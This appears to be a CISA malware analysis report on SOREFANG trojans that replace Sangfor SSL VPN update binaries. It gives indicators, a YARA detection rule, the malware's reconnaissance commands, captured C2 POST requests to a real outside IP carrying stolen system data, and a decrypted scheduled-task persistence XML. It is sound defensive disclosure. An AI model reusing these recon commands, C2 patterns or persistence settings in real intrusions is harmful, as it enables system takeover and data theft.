Malware Analysis Report (AR20-198A)

MAR-10296782-1.v1 – SOREFANG

Notification

This report is provided "as is" for informational purposes only. The Department of Homeland Security (DHS) does not provide any warranties of any kind regarding any information contained herein. The DHS does not endorse any commercial product or service referenced in this bulletin or otherwise.

This document is marked TLP:WHITE--Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction. For more information on the Traffic Light Protocol (TLP), see http://www.us-cert.gov/tlp.

Summary

Description

The Malware Analysis Report (MAR) is the result of analytic efforts by the Cybersecurity and Infrastructure Security Agency (CISA). This malware has been identified as SOREFANG. Advanced persistent threat (APT) groups have been identified using this malware. For more information regarding this malware, please visit: https://www.ncsc.gov.uk/news/advisory-apt29-targets-covid-19-vaccine-development

This report analyzes three unique files. The files are Trojan implants designed to exploit Sangfor Secure Sockets Layer (SSL) virtual private network (VPN) servers. The malware replaces the Sangfor VPN software distributed to VPN clients. When installed, the implants provide the remote operator total control over the infected systems.

For a downloadable copy of IOCs, see MAR-10296782-1.v1.stix.

Submitted Files (3)

58d8e65976b53b77645c248bfa18c3b87a6ecfb02f306fe6ba4944db96a5ede2 (58d8e65976b53b77645c248bfa18c3...)

65495d173e305625696051944a36a031ea94bb3a4f13034d8be740982bc4ab75 (65495d173e305625696051944a36a0...)

a4b790ddffb3d2e6691dcacae08fb0bfa1ae56b6c73d70688b097ffa831af064 (a4b790ddffb3d2e6691dcacae08fb0...)

IPs (2)

103.216.221.19

192.168.169.103

Findings

65495d173e305625696051944a36a031ea94bb3a4f13034d8be740982bc4ab75

Tags

spywaretrojan

Details
Name 65495d173e305625696051944a36a031ea94bb3a4f13034d8be740982bc4ab75
Size 437760 bytes
Type PE32 executable (GUI) Intel 80386, for MS Windows
MD5 c5d5cb99291fa4b2a68b5ea3ff9d9f9a
SHA1 a1b5d50fe87f9c69a0e4da447f8d56155ce59e47
SHA256 65495d173e305625696051944a36a031ea94bb3a4f13034d8be740982bc4ab75
SHA512 1f8e1ad6e910bdf3b251ffbb81b115233eb15be725d420139ba2af4f82009a655856e39bcb4d111b7bd1f135025f73d3eab1f32d1469f067966e82d14c5a0d3e
ssdeep 6144:ifY8W87LY6I0sl/myJy3FkwTCIoo4ECxAO7BjqxNuC:iAV+sl/mey3FnChxCuC
Entropy 6.205690
Antivirus
Ahnlab Malware/Win32.Generic
Antiy Trojan/Win32.Wacatac
Cyren W32/Trojan.ZYGO-1305
ESET a variant of Win32/Spy.Agent.PXZ trojan
Ikarus Trojan-Spy.Agent
K7 Spyware ( 0056414e1 )
Quick Heal Trojan.Agentb
TrendMicro TrojanS.6BD050DD
TrendMicro House Call TrojanS.6BD050DD
VirusBlokAda Trojan.Agentb
YARA Rules
  • rule CISA_10296782_01 : trojan WELLMESS
    {
    meta:
        Author = "CISA Code & Media Analysis"
        Date= "2020-07-06"
        Last_Modified="20200706_1017"
        Actor="n/a"
        Category="Trojan"
        Family="WellMess"
        Description = "Detects WellMess implant and SangFor Exploit"
        MD5_1 = "4d38ac3319b167f6c8acb16b70297111"
        SHA256_1 = "7c39841ba409bce4c2c35437ecf043f22910984325c70b9530edf15d826147ee"
        MD5_2 = "a32e1202257a2945bf0f878c58490af8"
        SHA256_2 = "a4b790ddffb3d2e6691dcacae08fb0bfa1ae56b6c73d70688b097ffa831af064"
        MD5_3 = "861879f402fe3080ab058c0c88536be4"
        SHA256_3 = "14e9b5e214572cb13ff87727d680633f5ee238259043357c94302654c546cad2"
        MD5_4 = "2f9f4f2a9d438cdc944f79bdf44a18f8"
        SHA256_4 = "e329607379a01483fc914a47c0062d5a3a8d8d65f777fbad2c5a841a90a0af09"
        MD5_5 = "ae7a46529a0f74fb83beeb1ab2c68c5c"
        SHA256_5 = "fd3969d32398bbe3709e9da5f8326935dde664bbc36753bd41a0b111712c0950"
        MD5_6 = "f18ced8772e9d1a640b8b4a731dfb6e0"
        SHA256_6 = "953b5fc9977e2d50f3f72c6ce85e89428937117830c0ed67d468e2d93aa7ec9a"
        MD5_7 = "3a9cdd8a5cbc3ab10ad64c4bb641b41f"
        SHA256_7 = "5ca4a9f6553fea64ad2c724bf71d0fac2b372f9e7ce2200814c98aac647172fb"
        MD5_8 = "967fcf185634def5177f74b0f703bdc0"
        SHA256_8 = "58d8e65976b53b77645c248bfa18c3b87a6ecfb02f306fe6ba4944db96a5ede2"
        MD5_9 = "c5d5cb99291fa4b2a68b5ea3ff9d9f9a"
        SHA256_9 = "65495d173e305625696051944a36a031ea94bb3a4f13034d8be740982bc4ab75"
        MD5_10 = "01d322dcac438d2bb6bce2bae8d613cb"
        SHA256_10 = "0c5ad1e8fe43583e279201cdb1046aea742bae59685e6da24e963a41df987494"
        MD5_11 = "8777a9796565effa01b03cf1cea9d24d"
        SHA256_11 = "83014ab5b3f63b0253cdab6d715f5988ac9014570fa4ab2b267c7cf9ba237d18"
        MD5_12 = "507bb551bd7073f846760d8b357b7aa9"
        SHA256_12 = "47cdb87c27c4e30ea3e2de620bed380d5aed591bc50c49b55fd43e106f294854"
    strings:
        $0 = "/home/ubuntu/GoProject/src/bot/botlib/chat.go"
        $1 = "/home/ubuntu/GoProject/src/bot/botlib.Post"
        $2 = "GoProject/src/bot/botlib.deleteFile"
        $3 = "ubuntu/GoProject/src/bot/botlib.generateRandomString"
        $4 = "GoProject/src/bot/botlib.AES_Decrypt"
        $5 = { 53 00 63 00 72 00 69 00 70 00 74 00 00 0F 63 00 6D 00 64 00 2E 00 65 00 78 00 65 00 00 07 2F 00 63 }
        $6 = { 3C 00 6E 00 77 00 3E 00 2E 00 2A 00 29 00 00 0B 24 00 7B 00 66 00 6E 00 7D }
        $7 = { 7B 00 61 00 72 00 67 00 7D 00 00 0B 24 00 7B 00 6E 00 77 00 7D }
        $8 = { 52 61 6E 64 6F 6D 53 74 72 69 6E 67 00 44 65 6C 65 74 65 46 69 6C 65 }
        $9 = "get_keyRC6"
        $10 = { 7D A3 26 77 1D 63 3D 5A 32 B4 6F 1F 55 49 44 25 }
        $11 = { 47 C2 2F 35 93 41 2F 55 73 0B C2 60 AB E1 2B 42 }
        $12 = { 53 58 9B 17 1F 45 BD 72 EC 01 30 6C 4F CA 93 1D }
        $13 = { 48 81 21 81 5F 53 3A 64 E0 ED FF 21 23 E5 00 12 }
        $14 = "GoProject/src/bot/botlib.wellMess"
        $15 = { 62 6F 74 6C 69 62 2E 4A 6F 69 6E 44 6E 73 43 68 75 6E 6B 73 }
        $16 = { 62 6F 74 6C 69 62 2E 45 78 65 63 }
        $17 = { 62 6F 74 6C 69 62 2E 47 65 74 52 61 6E 64 6F 6D 42 79 74 65 73 }
        $18 = { 62 6F 74 6C 69 62 2E 4B 65 79 }
        $19 = { 7F 16 21 9D 7B 03 CB D9 17 3B 9F 27 B3 DC 88 0F }
        $20 = { D9 BD 0A 0E 90 10 B1 39 D0 C8 56 58 69 74 15 8B }
        $21 = { 44 00 59 00 4A 00 20 00 36 00 47 00 73 00 62 00 59 00 31 00 2E }
        $22 = { 6E 00 20 00 46 00 75 00 7A 00 2C 00 4B 00 5A 00 20 00 33 00 31 00 69 00 6A 00 75 }
        $23 = { 43 00 31 00 69 00 76 00 66 00 39 00 32 00 20 00 56 00 37 00 6C 00 4F 00 48 }
        $24 = { 66 69 6C 65 4E 61 6D 65 3A 28 3F 50 3C 66 6E 3E 2E 2A 3F 29 5C 73 61 72 67 73 3A 28 3F 50 3C 61 72 67 3E 2E 2A 3F }
        $25 = { 5C 00 2E 00 53 00 61 00 6E 00 67 00 66 00 6F 00 72 00 55 00 44 00 2E 00 73 00 75 00 6D }
        $26 = { 66 6F 72 6D 2D 64 61 74 61 3B 20 6E 61 6D 65 3D 22 5F 67 61 22 3B 20 66 69 6C 65 6E 61 6D 65 3D }
        $27 = { 40 5B 5E 5C 73 5D 2B 3F 5C 73 28 3F 50 3C 74 61 72 3E 2E 2A 3F 29 5C 73 27 }
    condition:
       ($0 and $1 and $2 and $3 and $4) or ($5 and $6 and $7 and $8 and $9) or ($10 and $11) or ($12 and $13) or ($14) or ($15 and $16 and $17 and $18) or ($19 and $20) or ($21 and $22 and $23) or ($24) or ($25 and $26) or ($27)
    }
ssdeep Matches

No matches found.

PE Metadata
Compile Date 2018-03-28 07:37:41-04:00
Import Hash de67eebbdb41eb69bfdf6c23a6479582
Company Name Sangfor Technologies Co.,Ltd
File Description SangforUD
Internal Name SangforUD.exe
Legal Copyright Copyright (C) 2015
Original Filename SangforUD.EXE
Product Name SangforUD application
Product Version 7.6.0.100
PE Sections
MD5 Name Raw Size Entropy
79b491fc5059891654fc228b26171f6d header 1024 3.067812
471b9d4a35e5f8b569ae1ca6bc91aba1 .text 240128 6.589660
d74b8d761debb3939c3878052199ffa2 .rdata 74240 5.586653
463a4a2ba2e9496201b711302c4e3008 .data 5120 3.612142
1f354d76203061bfdd5a53dae48d5435 .tls 512 0.020393
e9edb21c8ad50896cd623d0172835e6d .rsrc 103936 3.885868
1d7b5cd8dcec22299f23bb463562815a .reloc 12800 6.559632
Packers/Compilers/Cryptors
Microsoft Visual C++ ?.?
Relationships
65495d173e... Connected_To 103.216.221.19
Description

This application is a malicious 32-bit Windows executable. The executable exploits a vulnerability identified within Sangfor SSL VPN devices. The vulnerability can be leveraged to gain control over systems because the VPN clients do not properly verify the integrity of software updates. The malware exploits this vulnerability by replacing software update binaries on compromised VPN servers. The malicious binaries are then delivered and executed on the VPN clients reporting to the infected VPN server.

During runtime, the malware immediately attempts to clear all files from the directories "\\Sangfor\\SSL\\Log\\" and "\\Sangfor\\SSL\\Dump\\”.

The malware then attempts to install itself as the file "\\Sangfor\\SSL\\SanforUPD.exe”. This will make this binary presumably the first update executable that gets served out as application updates to targeted Sangfor VPN clients.

Next, it checks for the presence of a file named "\\Sangfor\\SSL\\.SangforUD.sum”. If this file is not present, the malware will collect information from the infected system, using the following commands:

—Begin Information Collection Commands—
systeminfo.exe
ipconfig.exe /all
cmd.exe /c set
net.exe user
HOSTNAME.EXE
net.exe user /domain
net.exe group /domain
tasklist.exe /V
whoami.exe /all
—End Information Collection Commands—

It will also enumerate folders on disk. The collected system information and the result of the file enumerations are stored in a buffer in system memory. The malware collected the following information during analysis:

—Begin Information Collected—
User information (user name and SID)
Group information (Group name, type, SID, and attributes)
Privileges information (Privilege name, description, state (disabled, enabled, N/A))
—End Information Collected—

This data will next be encrypted, encoded, and then transmitted to the command and control (C2) server Internet Protocol (IP) address 103.216.221.19.

The data sent to the C2 server is encrypted utilizing a Rivest cipher 6 (RC6) cryptographic algorithm. The key used to encrypt the outbound data is dynamically generated during each C2 session. The RC6 key is appended to the outbound data so the remote operator will be able to decrypt the incoming data. The RC6 key can be found within the “filename” field of the C2 outbound data. For example, in the following example (partial) transmission the RC6 key d4908a2e47ff25c44054f8e623426243 can be utilized to decrypt the C2 data.

—Begin Partial C2 Transmission—
POST / HTTP/1.1
Content-Type: multipart/form-data; boundary=----974767299852498929531610575
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1
Host: 103.216.221.19
Content-Length: 38886
Cache-Control: no-cache

------974767299852498929531610575
Content-Disposition: form-data; name="_ga"; filename="d4908a2e47ff25c44054f8e623426243"
Content-Type: application/octet-stream

cktTaQTE2ed BUVZaeg tMkXS 5YrSj6zdDKXYl2v LQCi85ZruMOUmkSLpc0f Tychyjhpo9fJHt5EIQw, ZREaS. 3s4al2OGFMBkiqrDsN, EMfzzmDWPGoATf, oM3n kvApOjc85g1jx qACIwvhAC3lz3jTb3p6D, YI2gZ63Wpob9Bm88 gZIqfg6h. ohjr ecwax41ACb9Bm8khPfh hO0Aku, VqtXhmDmOTUen 019HaS6Wmy639Km ttKwx62W2EIw. vhAC3kKL, zp3Gg CQdqXRmDmOTWe1n0IZD, EEVytbV4Zg5jk1Hp9Nf, R2kuvB06xoA. kHazjW0VlmP7J KUxnye
—End Partial C2 Transmission—

The encrypted C2 traffic is encoded with a slightly modified Base64 algorithm. The encoded data appears to match Base64 encoded data except there are spaces in between parts of the data (0x20). An example of this is illustrated below where the first 32-bytes of the outbound data is replaced with the American Standard Code for Information Interchange (ASCII) bytes “x”.

—Begin Base64 Modification—
POST / HTTP/1.1
Content-Type: multipart/form-data; boundary=----974767299852498929531610575
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1
Host: 103.216.221.19
Content-Length: 24307
Cache-Control: no-cache

------974767299852498929531610575
Content-Disposition: form-data; name="_ga"; filename="7e061a180fa24eb5a318d6eae8797cc2"
Content-Type: application/octet-stream

eHh4eH h4eHh4eHh4eHh4eHh4eH h4eHh4eH h4eHh4eHhB6e, RwoJe. cqpDFRSyMwBqaG4 INaFZG9zm2 A7siND60oM4QhhCrf oAiAvC OUMq3, W1ZlPGq kKhkRkwjNYu1dc6. bUmU8ashTA Q8KSyp2xCnA m3A24PU 6KLQqzPsMiMmEZ9A, EQF4. Ryhld1t WZTxqZCoZEZMKzA6gq TaENSD6e6Izy9Caj6 W3Z9jNkB1 7tQpuEnU266hhaEc 4WwEPCkssdCs4GF. MoVXhKQHl6C aj4t8u6I ueaakH1 60jPL 0JqH1 bdn2M. 2QHWcgYUyhVeEqhj6I Pu6ANJXvs, zSvNsUXthp5NIDV0i
—End Base64 Modification—

As illustrated, it appears exactly like the Base64 output of encoding the ASCII bytes “x” with the exception of the periodic spaces within the encoded data.

The malware will attempt to query its remote C2 server every 900000 milliseconds with the POST request containing encrypted information about the victim system, each time querying the server for 260 bytes of data and searching it for the value “200” to ensure the data was received successfully, and the remote C2 server is alive (Figure 1).

If the malware is able to successfully pass and receive data from its C2 server, it will then generate 32-bytes of data and record the data into a file named "\\Sangfor\\SSL\\.SangforUD.sum”.

The malware will then enter a loop in which it attempts to download payloads from its C2 server every 900000 milliseconds. The 32-bytes of data contained with the newly created file “.SangforUD.sum” will be contained within these connections to the malware’s C2 server.

It is not known what the C2 server does with this 32-byte value, however the malware only creates this 32-byte value and writes it to the file “SangforUD.sum” once, which suggests the 32-bit value is a unique identifier for each compromised VPN server.

Each payload downloaded from the C2 server will be immediately Base64 decoded, RC6 decrypted, executed using CreateProcessW, and then copied to the system as "\\Sangfor\\SSL\\SangforUDC.exe".

In addition, the malware decrypts the following Extensible Markup Language (XML) data indicating it uses scheduled tasks to attain persistence on a target Windows system. This data is decrypted using the RC6 algorithm with the key: 2B6233EB3E872FF78988F4A8F3F6A3BA.

—Begin Decrypted XML Task Data—
<?xml version="1.0" encoding="UTF-16"?>
< Task version="1.3" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
< RegistrationInfo>
< Date>2019-07-16T06:00:28.6871947</Date>
< Author>Sangfor Technologies Co.,Ltd</Author>
< URI>SangforUpade</URI>
< /RegistrationInfo>
< Triggers>
< CalendarTrigger>
< Repetition>
< Interval>P1D</Interval>
< StopAtDurationEnd>false</StopAtDurationEnd>
< /Repetition>
< StartBoundary>2019-07-16T00:00:00</StartBoundary>
< Enabled>true</Enabled>
< ScheduleByDay>
< DaysInterval>1</DaysInterval>
< /ScheduleByDay>
< /CalendarTrigger>
< /Triggers>
< Settings>
< MultipleInstancesPolicy>Parallel</MultipleInstancesPolicy>
< DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
< StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
< AllowHardTerminate>true</AllowHardTerminate>
< StartWhenAvailable>true</StartWhenAvailable>
< RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
< IdleSettings>
< StopOnIdleEnd>true</StopOnIdleEnd>
< RestartOnIdle>false</RestartOnIdle>
< /IdleSettings>
< AllowStartOnDemand>true</AllowStartOnDemand>
< Enabled>true</Enabled>
< Hidden>true</Hidden>
< RunOnlyIfIdle>false</RunOnlyIfIdle>
< DisallowStartOnRemoteAppSession>false</DisallowStartOnRemoteAppSession>
< UseUnifiedSchedulingEngine>true</UseUnifiedSchedulingEngine>
< WakeToRun>true</WakeToRun>
< ExecutionTimeLimit>PT0S</ExecutionTimeLimit>
< Priority>7</Priority>
< RestartOnFailure>
< Interval>PT1M</Interval>
< Count>3</Count>
< /RestartOnFailure>
< /Settings>
< Actions Context = "Author">
< Exec>
< Command></Command>
< /Exec>
< /Actions>
—End Decrypted XML Task Data—

Screenshots
Figure 1 - Screenshot of the connection to the C2 server when attempting to download an RC6 encrypted executable payload. Note: the unique identifier is within the "_ga=" field.

Figure 1 - Screenshot of the connection to the C2 server when attempting to download an RC6 encrypted executable payload. Note: the unique identifier is within the "_ga=" field.

Figure 2 - Screenshot of the malware querying the C2 server after conducting the initial connection. The initial connection will pass information stolen from the target system to the C2 server, including a unique hash used as a victim system identifier. After a successful initial connection with the C2, the malware will begin attempting to download RC6 executable payloads.

Figure 2 - Screenshot of the malware querying the C2 server after conducting the initial connection. The initial connection will pass information stolen from the target system to the C2 server, including a unique hash used as a victim system identifier. After a successful initial connection with the C2, the malware will begin attempting to download RC6 executable payloads.

Figure 3 - Screenshot of the initialization function for the RC6 algorithm contained in the malware.

Figure 3 - Screenshot of the initialization function for the RC6 algorithm contained in the malware.

103.216.221.19

Tags

command-and-control

HTTP Sessions
  • POST / HTTP/1.1
    Content-Type: multipart/form-data; boundary=----974767299852498929531610575
    User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1
    Host: 103.216.221.19
    Content-Length: 38886
    Cache-Control: no-cache
Whois

Queried whois.apnic.net with "103.216.221.19"...
% Information related to '103.216.220.0 - 103.216.223.255'
% Abuse contact for '103.216.220.0 - 103.216.223.255' is 'abuse@hostuniversal.com.au'
inetnum:        103.216.220.0 - 103.216.223.255
netname:        HOST-AU
descr:         Host Universal Pty Ltd
country:        AU
org:            ORG-HUPL1-AP
admin-c:        HUPL1-AP
tech-c:         HUPL1-AP
abuse-c:        AH892-AP
status:         ALLOCATED PORTABLE
remarks:        --------------------------------------------------------
remarks:        To report network abuse, please contact mnt-irt
remarks:        For troubleshooting, please contact tech-c and admin-c
remarks:        Report invalid contact via www.apnic.net/invalidcontact
remarks:        --------------------------------------------------------
mnt-by:         APNIC-HM
mnt-lower:     MAINT-HOST-AU
mnt-routes:     MAINT-HOST-AU
mnt-irt:        IRT-HOST-AU
last-modified: 2020-06-10T13:06:06Z
source:         APNIC
irt:            IRT-HOST-AU
address:        Host Universal Pty Ltd, c/o Brentnalls SA, 255 Port Road, Hindmarsh SA 5007, Australia, Hindmarsh So
e-mail:         abuse@hostuniversal.com.au
abuse-mailbox: abuse@hostuniversal.com.au
admin-c:        HUPL1-AP
tech-c:         HUPL1-AP
auth:         # Filtered
remarks:        abuse@hostuniversal.com.au was validated on 2020-06-25
mnt-by:         MAINT-HOST-AU
last-modified: 2020-06-25T16:58:38Z
source:         APNIC
organisation: ORG-HUPL1-AP
org-name:     Host Universal Pty Ltd
country:        AU
address:        Host Universal Pty Ltd
address:        c/o Brentnalls SA
address:        255 Port Road, Hindmarsh SA 5007, Australia
phone:         +61403394019
e-mail:         abuse@hostuniversal.com.au
mnt-ref:        APNIC-HM
mnt-by:         APNIC-HM
last-modified: 2018-03-20T12:57:09Z
source:         APNIC
role:         ABUSE HOSTAU
address:        Host Universal Pty Ltd, c/o Brentnalls SA, 255 Port Road, Hindmarsh SA 5007, Australia, Hindmarsh So
country:        ZZ
phone:         +000000000
e-mail:         abuse@hostuniversal.com.au
admin-c:        HUPL1-AP
tech-c:         HUPL1-AP
nic-hdl:        AH892-AP
remarks:        Generated from irt object IRT-HOST-AU
abuse-mailbox: abuse@hostuniversal.com.au
mnt-by:         APNIC-ABUSE
last-modified: 2020-06-10T13:06:05Z
source:         APNIC
role:         Host Universal Pty Ltd administrator
address:        Host Universal Pty Ltd, c/o Brentnalls SA, 255 Port Road, Hindmarsh SA 5007, Australia, Hindmarsh So
country:        AU
phone:         +61403394019
fax-no:         +61403394019
e-mail:         abuse@hostuniversal.com.au
admin-c:        HUPL1-AP
tech-c:         HUPL1-AP
nic-hdl:        HUPL1-AP
mnt-by:         MAINT-HOST-AU
last-modified: 2016-05-03T06:34:59Z
source:         APNIC
% Information related to '103.216.221.0/24AS136557'
route:         103.216.221.0/24
origin:         AS136557
descr:         Host Universal Pty Ltd
               Host Universal Pty Ltd
               c/o Brentnalls SA
               255 Port Road, Hindmarsh SA 5007, Australia
mnt-by:         MAINT-HOST-AU
last-modified: 2019-12-19T00:21:46Z
source:         APNIC

Relationships
103.216.221.19 Connected_From 65495d173e305625696051944a36a031ea94bb3a4f13034d8be740982bc4ab75
103.216.221.19 Connected_From 58d8e65976b53b77645c248bfa18c3b87a6ecfb02f306fe6ba4944db96a5ede2
Description

65495d173e305625696051944a36a031ea94bb3a4f13034d8be740982bc4ab75 and 58d8e65976b53b77645c248bfa18c3b87a6ecfb02f306fe6ba4944db96a5ede2 attempt to connect to the IP address.

58d8e65976b53b77645c248bfa18c3b87a6ecfb02f306fe6ba4944db96a5ede2

Tags

spywaretrojan

Details
Name 58d8e65976b53b77645c248bfa18c3b87a6ecfb02f306fe6ba4944db96a5ede2
Size 428032 bytes
Type PE32 executable (GUI) Intel 80386, for MS Windows
MD5 967fcf185634def5177f74b0f703bdc0
SHA1 152189b62c546d6297a7083778fba62dcec576be
SHA256 58d8e65976b53b77645c248bfa18c3b87a6ecfb02f306fe6ba4944db96a5ede2
SHA512 184dba49900a9b7c2c170c857806bff67c2fb51bcfad672f841d8c484e0c4452a3599f237dadbd6b6eb44a5f541dd6282bee4654486f5003111558262a9c357f
ssdeep 6144:AC70wZI2ZhjKOYTvkh+YVSn9bEAMpNZr3qHLAONXGCSxfuMBES:/lZIpQoYVmZERH0LguMWS
Entropy 6.211072
Antivirus
Ahnlab Malware/Win32.Generic
Antiy Trojan/Win32.Wacatac
ESET a variant of Win32/Spy.Agent.PXZ trojan
Ikarus Trojan-Spy.Agent
K7 Spyware ( 0056414e1 )
Microsoft Security Essentials Trojan:Win32/Skeeyah.B!rfn
Quick Heal Trojan.Agentb
TrendMicro TrojanS.F2D90167
TrendMicro House Call TrojanS.F2D90167
YARA Rules
  • rule CISA_10296782_01 : trojan WELLMESS
    {
    meta:
        Author = "CISA Code & Media Analysis"
        Date= "2020-07-06"
        Last_Modified="20200706_1017"
        Actor="n/a"
        Category="Trojan"
        Family="WellMess"
        Description = "Detects WellMess implant and SangFor Exploit"
        MD5_1 = "4d38ac3319b167f6c8acb16b70297111"
        SHA256_1 = "7c39841ba409bce4c2c35437ecf043f22910984325c70b9530edf15d826147ee"
        MD5_2 = "a32e1202257a2945bf0f878c58490af8"
        SHA256_2 = "a4b790ddffb3d2e6691dcacae08fb0bfa1ae56b6c73d70688b097ffa831af064"
        MD5_3 = "861879f402fe3080ab058c0c88536be4"
        SHA256_3 = "14e9b5e214572cb13ff87727d680633f5ee238259043357c94302654c546cad2"
        MD5_4 = "2f9f4f2a9d438cdc944f79bdf44a18f8"
        SHA256_4 = "e329607379a01483fc914a47c0062d5a3a8d8d65f777fbad2c5a841a90a0af09"
        MD5_5 = "ae7a46529a0f74fb83beeb1ab2c68c5c"
        SHA256_5 = "fd3969d32398bbe3709e9da5f8326935dde664bbc36753bd41a0b111712c0950"
        MD5_6 = "f18ced8772e9d1a640b8b4a731dfb6e0"
        SHA256_6 = "953b5fc9977e2d50f3f72c6ce85e89428937117830c0ed67d468e2d93aa7ec9a"
        MD5_7 = "3a9cdd8a5cbc3ab10ad64c4bb641b41f"
        SHA256_7 = "5ca4a9f6553fea64ad2c724bf71d0fac2b372f9e7ce2200814c98aac647172fb"
        MD5_8 = "967fcf185634def5177f74b0f703bdc0"
        SHA256_8 = "58d8e65976b53b77645c248bfa18c3b87a6ecfb02f306fe6ba4944db96a5ede2"
        MD5_9 = "c5d5cb99291fa4b2a68b5ea3ff9d9f9a"
        SHA256_9 = "65495d173e305625696051944a36a031ea94bb3a4f13034d8be740982bc4ab75"
        MD5_10 = "01d322dcac438d2bb6bce2bae8d613cb"
        SHA256_10 = "0c5ad1e8fe43583e279201cdb1046aea742bae59685e6da24e963a41df987494"
        MD5_11 = "8777a9796565effa01b03cf1cea9d24d"
        SHA256_11 = "83014ab5b3f63b0253cdab6d715f5988ac9014570fa4ab2b267c7cf9ba237d18"
        MD5_12 = "507bb551bd7073f846760d8b357b7aa9"
        SHA256_12 = "47cdb87c27c4e30ea3e2de620bed380d5aed591bc50c49b55fd43e106f294854"
    strings:
        $0 = "/home/ubuntu/GoProject/src/bot/botlib/chat.go"
        $1 = "/home/ubuntu/GoProject/src/bot/botlib.Post"
        $2 = "GoProject/src/bot/botlib.deleteFile"
        $3 = "ubuntu/GoProject/src/bot/botlib.generateRandomString"
        $4 = "GoProject/src/bot/botlib.AES_Decrypt"
        $5 = { 53 00 63 00 72 00 69 00 70 00 74 00 00 0F 63 00 6D 00 64 00 2E 00 65 00 78 00 65 00 00 07 2F 00 63 }
        $6 = { 3C 00 6E 00 77 00 3E 00 2E 00 2A 00 29 00 00 0B 24 00 7B 00 66 00 6E 00 7D }
        $7 = { 7B 00 61 00 72 00 67 00 7D 00 00 0B 24 00 7B 00 6E 00 77 00 7D }
        $8 = { 52 61 6E 64 6F 6D 53 74 72 69 6E 67 00 44 65 6C 65 74 65 46 69 6C 65 }
        $9 = "get_keyRC6"
        $10 = { 7D A3 26 77 1D 63 3D 5A 32 B4 6F 1F 55 49 44 25 }
        $11 = { 47 C2 2F 35 93 41 2F 55 73 0B C2 60 AB E1 2B 42 }
        $12 = { 53 58 9B 17 1F 45 BD 72 EC 01 30 6C 4F CA 93 1D }
        $13 = { 48 81 21 81 5F 53 3A 64 E0 ED FF 21 23 E5 00 12 }
        $14 = "GoProject/src/bot/botlib.wellMess"
        $15 = { 62 6F 74 6C 69 62 2E 4A 6F 69 6E 44 6E 73 43 68 75 6E 6B 73 }
        $16 = { 62 6F 74 6C 69 62 2E 45 78 65 63 }
        $17 = { 62 6F 74 6C 69 62 2E 47 65 74 52 61 6E 64 6F 6D 42 79 74 65 73 }
        $18 = { 62 6F 74 6C 69 62 2E 4B 65 79 }
        $19 = { 7F 16 21 9D 7B 03 CB D9 17 3B 9F 27 B3 DC 88 0F }
        $20 = { D9 BD 0A 0E 90 10 B1 39 D0 C8 56 58 69 74 15 8B }
        $21 = { 44 00 59 00 4A 00 20 00 36 00 47 00 73 00 62 00 59 00 31 00 2E }
        $22 = { 6E 00 20 00 46 00 75 00 7A 00 2C 00 4B 00 5A 00 20 00 33 00 31 00 69 00 6A 00 75 }
        $23 = { 43 00 31 00 69 00 76 00 66 00 39 00 32 00 20 00 56 00 37 00 6C 00 4F 00 48 }
        $24 = { 66 69 6C 65 4E 61 6D 65 3A 28 3F 50 3C 66 6E 3E 2E 2A 3F 29 5C 73 61 72 67 73 3A 28 3F 50 3C 61 72 67 3E 2E 2A 3F }
        $25 = { 5C 00 2E 00 53 00 61 00 6E 00 67 00 66 00 6F 00 72 00 55 00 44 00 2E 00 73 00 75 00 6D }
        $26 = { 66 6F 72 6D 2D 64 61 74 61 3B 20 6E 61 6D 65 3D 22 5F 67 61 22 3B 20 66 69 6C 65 6E 61 6D 65 3D }
        $27 = { 40 5B 5E 5C 73 5D 2B 3F 5C 73 28 3F 50 3C 74 61 72 3E 2E 2A 3F 29 5C 73 27 }
    condition:
       ($0 and $1 and $2 and $3 and $4) or ($5 and $6 and $7 and $8 and $9) or ($10 and $11) or ($12 and $13) or ($14) or ($15 and $16 and $17 and $18) or ($19 and $20) or ($21 and $22 and $23) or ($24) or ($25 and $26) or ($27)
    }
ssdeep Matches

No matches found.

PE Metadata
Compile Date 2019-03-01 10:20:20-05:00
Import Hash daf2da52475fd8981b19ec3c321a983c
Company Name Sangfor Technologies Co.,Ltd
File Description SangforUD
Internal Name SangforUD.exe
Legal Copyright Copyright (C) 2015
Original Filename SangforUD.EXE
Product Name SangforUD application
Product Version 7.6.0.100
PE Sections
MD5 Name Raw Size Entropy
1cd19b3151a670e3d1d2a24953392004 header 1024 3.025361
98e91043bf45d10a621d72a2e3200ed0 .text 232960 6.609761
aa6f1abb810df36035bc35cf27c68d59 .rdata 72704 5.619637
c947f4e73cc3503e16ce6173df639c87 .data 4608 3.792666
1f354d76203061bfdd5a53dae48d5435 .tls 512 0.020393
ec6c94b5135c0c75d0a8b7288b77cbae .rsrc 103936 3.885931
b744db87f1a59d6af2a5a37c0da519d1 .reloc 12288 6.571358
Packers/Compilers/Cryptors
Microsoft Visual C++ ?.?
Relationships
58d8e65976... Connected_To 103.216.221.19
Description

This file is a 32-bit Windows executable and is similar in design and structure to the file 65495d173e305625696051944a36a031ea94bb3a4f13034d8be740982bc4ab75. This application is also designed to replace the update binaries served out from Sangfor SSL VPN devices. This malware uses the hard-coded C2 IP address 103.216.221.19 to download additional payloads.

a4b790ddffb3d2e6691dcacae08fb0bfa1ae56b6c73d70688b097ffa831af064

Tags

trojan

Details
Name a4b790ddffb3d2e6691dcacae08fb0bfa1ae56b6c73d70688b097ffa831af064
Size 434688 bytes
Type PE32 executable (GUI) Intel 80386, for MS Windows
MD5 a32e1202257a2945bf0f878c58490af8
SHA1 416df2d22338f412571cdaedb40ab33eb38977af
SHA256 a4b790ddffb3d2e6691dcacae08fb0bfa1ae56b6c73d70688b097ffa831af064
SHA512 92ac91e36fc9a8463b2a7b00e6dba687e86a15484d836cb2c8d399d76cd012b71523a9ddae43d9795e2c14fdb7ccc2137d668f7c691b47a2e266a4bfe48de71a
ssdeep 6144:4t4156qfXqT02bFXCYv123kUo4GECAOcL6xDE4U:oc6qkt5vdU6ECe4U
Entropy 6.203383
Antivirus
